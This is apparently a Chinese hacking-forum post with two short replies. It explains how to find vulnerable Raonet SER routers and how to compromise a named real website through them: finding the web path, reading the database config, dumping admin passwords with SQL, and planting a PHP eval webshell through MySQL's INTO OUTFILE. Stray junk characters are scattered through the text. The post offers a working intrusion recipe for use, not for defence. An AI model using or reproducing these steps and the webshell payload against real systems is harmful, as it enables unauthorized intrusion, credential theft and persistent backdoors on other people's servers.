利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

6 ~# B) D" a3 W8 u1 i# \: s1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
! ]. R! b) \( F# D
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
, o- q0 o! ~$ V9 H8 c# m( b0 |  [
* m) c4 F0 e2 Y9 n- h3 ^" ]

( H& h! z& q' N' c* C0 q入侵步骤：

3 q' X3 I$ g, ]  _1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
0 j8 U! E( o+ R1 T$ b
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
" L1 P" Z0 @+ e' W( ^, `8 B" Y( K3：得到密码后连接，查看GUI管理密码：
use ser_500
6 \( I8 w) {0 _3 t' J0 I( S% Kselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
3 [5 O$ h7 p' [+ R6 x3 `  c; Cselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
& |. j0 i& Z( `! U5 `drop table ok;

& [8 G2 D7 R0 V. S5:连接后门shell.php

6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。